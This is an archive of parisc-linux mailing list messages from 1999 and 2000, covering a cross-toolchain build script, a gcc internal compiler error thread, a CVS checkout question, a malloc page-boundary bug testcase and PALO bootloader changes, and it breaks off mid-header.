	    echo "Usage: recipe.puffin [ -w -u -r -p <prefix> ]"
	    echo "	-w build 64-bit (hppa64-linux) instead of hppa-linux"
	    echo "	-u update binutils-2.10 and gcc from CVS"
	    echo "	-r delete existing file in install directory"
	    echo "	-R delete existing build directories"
	    echo "	-p <prefix> install destination (default: /opt/puffin)"
	    exit 1
	    ;;
	esac
        shift
done

# Requirements
# o $SRC has binutils-2.10 gcc checked out
# o $PREFIX/include comes from pehc:~ftp/pub/parisc/src/include.tar.gz

# Copy include/asm and include/linux to $PREFIX/include
if [ ! -d $SRC/include ]
then
	echo  Please untar pehc:~ftp/pub/parisc/src/include.tar.gz in $PREFIX/include first!
	exit 1
fi

cp -r $SRC/linux-2.3/include/asm $PREFIX/include
cp -r $SRC/linux-2.3/include/linux $PREFIX/include


# make sure BUILD dirs exist
mkdir -p $BUILD/build-gcc $BUILD/build-binutils

### binutils
cd $BUILD/build-binutils
# $SRC/binutils-2.10/configure --enable-64-bit-bfd --target=$TARGET --prefix=$PREFIX --disable-nls
$SRC/binutils-2.10/configure --target=$TARGET --prefix=$PREFIX --disable-nls
make
make install

# Prepend $PREFIX/bin to the path to get the right binutils
PATH=$PREFIX/bin:$PATH

cd $BUILD/build-gcc
$SRC/gcc/configure --target=$TARGET --prefix=$PREFIX --disable-nls \
	--without-libc

make LIBGCC2_INCLUDES=-I$PREFIX/include LANGUAGES=c
make install


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 11:26:37 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200007121826.LAA14363@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618999 1408 80.91.229.3 (22 Nov 2014 01:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Jul 12 12:23:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA24599
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 12:23:21 -0600
Original-Received: (qmail 14148 invoked by uid 15267); 12 Jul 2000 18:24:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14138 invoked from network); 12 Jul 2000 18:24:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 18:24:54 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 3E7377A9
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 11:24:46 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id LAA14363
	for parisc-linux@thepuffingroup.com; Wed, 12 Jul 2000 11:26:37 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7546

Dave (dhd),
Since you expressed an interest in compiler bugs:

...
make[1]: Leaving directory `/linux/grundler/linux-2.3/arch/parisc/hpux'
hppa-linux-gcc -I/linux/grundler/linux-2.3/include  -D__KERNEL__ -I/linux/grundler/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -ffunction-sections -D__linux__ -pipe -fno-strength-reduce  -DUTS_MACHINE='"parisc"' -c -o init/version.o init/version.c
dino.c: In function `dino_common_init':
dino.c:675: incompatible type for argument 2 of `list_add'
dino.c:675: Tree check: expected class 't', have 'x' (error_mark)
dino.c:675: Internal compiler error in `expand_inline_function', at integrate.c:678
Please submit a full bug report.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[3]: *** [dino.o] Error 1
make[3]: Leaving directory `/linux/grundler/linux-2.3/drivers/gsc'
...

I'm changing code in several files in order to build an I/O tree of hp_devices
much like pci does...the problem above was due to one of my changes:

...
STATIC struct list_head dino_list;
...

        list_add(&dino_dev->dino_hba.hba_dev->global_list, dino_list);


Missing a '&' in front of dino_list and the compiler really
didn't like that. I don't have a big problem with the compiler
"oops"ing here since it correctly identified the problem.

cheers,
grant


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 14:35:08 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200007121835.OAA04401@hiauly1.hia.nrc.ca>
References: <200007121826.LAA14363@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618999 1412 80.91.229.3 (22 Nov 2014 01:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jul 12 12:38:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA24971
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 12:38:02 -0600
Original-Received: (qmail 29669 invoked by uid 15267); 12 Jul 2000 18:39:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29265 invoked from network); 12 Jul 2000 18:39:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 18:39:06 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA04401;
	Wed, 12 Jul 2000 14:35:08 -0400 (EDT)
In-Reply-To: <200007121826.LAA14363@milano.cup.hp.com> from "Grant Grundler" at Jul 12, 2000 11:26:37 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7547

Grant,

Is this patch in your tree?

2000-06-26  J. David Anglin  <dave@hiauly1.hia.nrc.ca>

        * c-typeck.c (digest_init): Return error_mark_node node when
	TREE_TYPE (init)  == error_mark_node.

The problem looks similar to the one the above patch addressed.

Dave (jda)

> 
> Dave (dhd),
> Since you expressed an interest in compiler bugs:
> 
> ...
> make[1]: Leaving directory `/linux/grundler/linux-2.3/arch/parisc/hpux'
> hppa-linux-gcc -I/linux/grundler/linux-2.3/include  -D__KERNEL__ -I/linux/grundler/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -ffunction-sections -D__linux__ -pipe -fno-strength-reduce  -DUTS_MACHINE='"parisc"' -c -o init/version.o init/version.c
> dino.c: In function `dino_common_init':
> dino.c:675: incompatible type for argument 2 of `list_add'
> dino.c:675: Tree check: expected class 't', have 'x' (error_mark)
> dino.c:675: Internal compiler error in `expand_inline_function', at integrate.c:678
> Please submit a full bug report.
> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> make[3]: *** [dino.o] Error 1
> make[3]: Leaving directory `/linux/grundler/linux-2.3/drivers/gsc'
> ...
> 
> I'm changing code in several files in order to build an I/O tree of hp_devices
> much like pci does...the problem above was due to one of my changes:
> 
> ...
> STATIC struct list_head dino_list;
> ...
> 
>         list_add(&dino_dev->dino_hba.hba_dev->global_list, dino_list);
> 
> 
> Missing a '&' in front of dino_list and the compiler really
> didn't like that. I don't have a big problem with the compiler
> "oops"ing here since it correctly identified the problem.
> 
> cheers,
> grant
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 12:17:39 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <200007121917.MAA14509@milano.cup.hp.com>
References: <200007121835.OAA04401@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619000 1413 80.91.229.3 (22 Nov 2014 01:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Wed Jul 12 13:14:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25721
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 13:14:15 -0600
Original-Received: (qmail 3557 invoked by uid 15267); 12 Jul 2000 19:15:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3548 invoked from network); 12 Jul 2000 19:15:48 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 19:15:48 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6F5B91B3; Wed, 12 Jul 2000 12:15:43 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA14509;
	Wed, 12 Jul 2000 12:17:40 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 12 Jul 2000 14:35:08 PDT."
             <200007121835.OAA04401@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:7548

"John David Anglin" wrote:
> Grant,
> 
> Is this patch in your tree?

Dave (jda),

> 2000-06-26  J. David Anglin  <dave@hiauly1.hia.nrc.ca>
> 
>         * c-typeck.c (digest_init): Return error_mark_node node when
> 	TREE_TYPE (init)  == error_mark_node.
> 
> The problem looks similar to the one the above patch addressed.

I couldn't find "Return error_mark_node node" string in gcc/gcc/c-typeck.c.

I'm using whatever we have in binutils-2.10 and gcc CVS.
I just rebuilt yesterday (7/11/2000) after dhd was done with
some recent modifications.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 14:15:41 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20000712141541.B3593@vodka.thepuffingroup.com>
References: <200007121835.OAA04401@hiauly1.hia.nrc.ca> <200007121917.MAA14509@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619000 1415 80.91.229.3 (22 Nov 2014 01:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Wed Jul 12 13:19:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25987
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 13:19:31 -0600
Original-Received: (qmail 9422 invoked by uid 15267); 12 Jul 2000 19:21:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9405 invoked from network); 12 Jul 2000 19:21:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 19:21:03 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA04087;
	Wed, 12 Jul 2000 14:15:41 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200007121917.MAA14509@milano.cup.hp.com>; from Grant Grundler on Wed, Jul 12, 2000 at 12:17:39PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7549

On Wed, Jul 12, 2000 at 12:17:39PM -0700, Grant Grundler wrote:
> "John David Anglin" wrote:
> > Grant,
> > 
> > Is this patch in your tree?
> > 2000-06-26  J. David Anglin  <dave@hiauly1.hia.nrc.ca>
> > 
> >         * c-typeck.c (digest_init): Return error_mark_node node when
> > 	TREE_TYPE (init)  == error_mark_node.
> > 
> > The problem looks similar to the one the above patch addressed.
> 
> I couldn't find "Return error_mark_node node" string in gcc/gcc/c-typeck.c.
> 
> I'm using whatever we have in binutils-2.10 and gcc CVS.
> I just rebuilt yesterday (7/11/2000) after dhd was done with
> some recent modifications.

that's in our tree;

2000-06-26  J. David Anglin  <dave@hiauly1.hia.nrc.ca>

        * c-typeck.c (digest_init): Return error_mark_node node when
        TREE_TYPE (init)  == error_mark_node.

is in gcc/gcc/ChangeLog.  The last comment which isn't ours in ChangeLog
is dated 2000-07-07.  any changes since then which look even remotely
relevant?

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] the cvs thingy
Date: Wed, 24 Mar 1999 19:55:52 -0500
Organization: buggz.net
Lines: 22
Approved: news@gmane.org
Message-ID: <36F98997.130DE72A@america.net>
References: <199903242116.NAA25002@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619000 1419 80.91.229.3 (22 Nov 2014 01:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:40 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Wed Mar 24 19:52:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id TAA06157
	for <hppa-linux@sod.res.cmu.edu>; Wed, 24 Mar 1999 19:52:24 -0500
Original-Received: (qmail 13805 invoked by uid 15267); 25 Mar 1999 00:51:06 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 13798 invoked from network); 25 Mar 1999 00:51:06 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 00:51:06 -0000
Original-Received: from america.net (buggz@tnt1-243.america.net [206.67.248.243])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id TAA14095
	for <hppa-linux@thepuffingroup.com>; Wed, 24 Mar 1999 19:52:01 -0500 (EST)
Original-Sender: buggz@smtp.america.net
X-Mailer: Mozilla 4.08 [en] (X11; U; Linux 2.2.3-ac1 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:7550

>

Hmm, am I doing this correct ?

$ export CVSROOT=':pserver:anonymous@sod.res.cmu.edu:/home/cvs/hppa'
$ cvs login
(Logging in to anonymous@sod.res.cmu.edu)
CVS password:
$ cvs -z3 checkout hppa-linux
cvs server: cannot find module `hppa-linux' - ignored
cvs [checkout aborted]: cannot expand modules


--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.




From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 15:37:28 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200007121937.PAA04556@hiauly1.hia.nrc.ca>
References: <200007121917.MAA14509@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619001 1423 80.91.229.3 (22 Nov 2014 01:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jul 12 13:38:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA26619
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 13:38:26 -0600
Original-Received: (qmail 30045 invoked by uid 15267); 12 Jul 2000 19:39:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30007 invoked from network); 12 Jul 2000 19:39:57 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 19:39:57 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA04556;
	Wed, 12 Jul 2000 15:37:28 -0400 (EDT)
In-Reply-To: <200007121917.MAA14509@milano.cup.hp.com> from "Grant Grundler" at Jul 12, 2000 12:17:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7551

> > 2000-06-26  J. David Anglin  <dave@hiauly1.hia.nrc.ca>
> > 
> >         * c-typeck.c (digest_init): Return error_mark_node node when
> > 	TREE_TYPE (init)  == error_mark_node.
> > 
> > The problem looks similar to the one the above patch addressed.
> 
> I couldn't find "Return error_mark_node node" string in gcc/gcc/c-typeck.c.

Wrong search pattern.  The patched code in digest_init looks like

  if (type == error_mark_node
      || init == error_mark_node
      || TREE_TYPE (init)  == error_mark_node)
    return error_mark_node;

This fixed a similar problem where a missing declaration caused the
compiler to crash or produce the tree checking error that you got.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Internal compiler error
Date: Wed, 12 Jul 2000 15:43:50 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200007121943.PAA04579@hiauly1.hia.nrc.ca>
References: <20000712141541.B3593@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619001 1429 80.91.229.3 (22 Nov 2014 01:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:41 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jul 12 13:42:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA26940
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 13:42:19 -0600
Original-Received: (qmail 2009 invoked by uid 15267); 12 Jul 2000 19:43:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1980 invoked from network); 12 Jul 2000 19:43:51 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 19:43:51 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA04579;
	Wed, 12 Jul 2000 15:43:50 -0400 (EDT)
In-Reply-To: <20000712141541.B3593@vodka.thepuffingroup.com> from "willy@thepuffingroup.com" at Jul 12, 2000 02:15:41 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7552

> is in gcc/gcc/ChangeLog.  The last comment which isn't ours in ChangeLog
> is dated 2000-07-07.  any changes since then which look even remotely
> relevant?

Not that I am aware of.

There is a patch related to the alignment of fields that is not installed
because of portability concerns.  Alignments greater than 16 bytes are
not done correctly and may cause the compiler to abort due to a divide
by zero.  This may be important for the linux port.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with malloc(3)/sbrk(2)/brk(2)/something
Date: 12 Jul 2000 15:55:47 -0400
Organization: Linuxcare, Inc.
Lines: 43
Approved: news@gmane.org
Message-ID: <8766qb86nw.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619001 1432 80.91.229.3 (22 Nov 2014 01:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Jul 12 13:55:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA27460
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 13:55:33 -0600
Original-Received: (qmail 15991 invoked by uid 15267); 12 Jul 2000 19:57:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15972 invoked from network); 12 Jul 2000 19:57:06 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 19:57:06 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13CSbj-0005dz-00
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 15:55:47 -0400
Original-Lines: 42
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7553

Hi,

This is a follow-up to my footnote about not being able to run the
'config.guess' shell script with ash (and some other stuff) on our
userland.  Basically I've found a minimal testcase for the problem,
which is that it's not possible to malloc() across a page boundary.

Beware that since we don't have a real page fault handler, this
program will crash your machine.  (Press TOC, and we'll take it from
there :-)

If you turn on debugging assertions in the malloc code you'll see that
it triggers this assertion:

  /* We always land on a page boundary */
  assert(((unsigned long)((char*)top(ar_ptr) + top_size) & (pagesz-1)) == 0);

I don't see sbrk() or brk() failing, so I'm not exactly sure why this
happens.  I suspect they are returning bogus values in this case.  If
someone knows that would be great although I expect to find the
problem soon (I may try to get strace going, since it will be very
useful for other similar problems).

#include <stdlib.h>
#include <stdio.h>

int main()
{
	/* get the first address */
	char *foo = malloc(16);

	/* now try to break a page boundary */
	char *target = (char *) ((unsigned long) (foo + 4095) & ~4095);

	size_t nbytes = target - foo;
	foo = malloc(nbytes);
	return 0;
}

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO changes
Date: Wed, 12 Jul 2000 15:23:57 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <E13CTz3-0003r4-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619002 1436 80.91.229.3 (22 Nov 2014 01:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Wed Jul 12 15:21:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29295
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 15:21:24 -0600
Original-Received: (qmail 6084 invoked by uid 15267); 12 Jul 2000 21:22:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6074 invoked from network); 12 Jul 2000 21:22:57 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 21:22:57 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP id CFE215C1
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 15:22:53 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA01635
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 15:22:55 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13CTz3-0003r4-00
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 15:23:57 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7554


I've just commited a bunch of PALO changes I have been making on a
branch.  ACTION REQUIRED: none if you're happy with PALO right now.
WARNING: if you don't have or want a tool chain which can produce
user-space executables yet, DON'T get the latest PALO bits.

Changes:
    PALO can make bootable ISO CD images

    A new step was introduced with the program palo/mkbootable.  Look
    at the Makefile or documentation if you need to figure that out.
    Most folks will be able to continue using 'make palo' in their
    linux tree and the mkbootable change will be transparent.

    Many changes to the build process.  PALO no longer uses header files
    from either /usr/src/linux nor the palinux kernel tree, so the
    build, especially for first-time users, should be easier (SEE NEXT
    PARAGRAPH and WARNING above however).  NOTE
    that you must have a real /usr/include/asm and /usr/include/linux
    to build palo -- some Linux distributions don't have this, or have
    it as an optional component.

    PALO ***DEPENDS UPON*** a tool chain which can produce user-space
    executables.  The "how to build a kernel" recipe does not say how
    to produce such a tool chain, so if the recipe's tool chain is
    all you have DON'T UPDATE PALO.
    Note the kernel will soon depend on this too (when we get rid of
    our kernel private copy of libmilli.a).

	If your system is relatively close to Debian 'potato', you
	can grab a suitable cross compiler tarball from
	ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86
	by grabbing xc-20000705.tgz and xc-patch-20000706.tgz

	Until the 0705 cross compiler is superceeded, you'll need
	to change your kernel build to 'make CROSS_COMPILE=hppa1.1-linux- palo'
	if you're using recent kernel sources.


		-Paul Bame


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Non-bootable kernel problems
Date: Thu, 13 Jul 2000 00:35:33 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20000713003533.Y9568@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619002 1438 80.91.229.3 (22 Nov 2014 01:16:42 GMT)
